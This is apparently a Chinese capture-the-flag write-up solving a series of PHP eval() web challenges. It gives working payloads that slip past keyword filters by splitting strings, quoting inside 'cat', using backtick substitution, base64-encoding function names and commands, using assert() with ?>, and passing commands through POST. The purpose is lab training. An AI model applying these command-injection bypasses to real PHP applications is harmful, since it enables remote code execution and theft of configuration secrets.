乍一看别被迷惑了,这个正则是字符串中包含 system、exec、highlight才能执行eval()。
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}
所以很简单,直接 c=highlight_file('config.php');
即可
这个就是比较正常的过滤了上一道题可用的函数,构造法轻松绕过
c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
flag需要右键查看源代码。
在上题的基础上增加了cat的禁用,这个好说,linux有很多类似于cat的方法 tac、more、less、head、tail、nl、sed、sort、uniq. 当然我们也可以单引号或者双引号或者反斜杠绕过cat 比如 ca’'t config.php ca"t config.php ca\t config.php,因为是以字符串的形式,所以用单引号还是双引号则要看你外层用的哪种了,不能产生错误,比如
system('ca""t config.php') system("ca''t config.php")
0x04 web12
php有很多的命令执行函数,因为题中禁用了其中几个,我们还可以使用其他的 常见的系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
我这里给出两个payload 在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。 比如 cat `ls` 相当于将 ls出来的结果cat。
c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
0x04 web13
这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert() assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assert中 的字符串可以没有分号. 所以给出两个payload
c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>
0x05 web14,15
话不多说直接payload
web14
?c=echo `$_POST[1]`?>
然后再post传入 1=cat config.php
web15
?c=echo `$_POST[1]`;
然后再post传入 1=cat config.php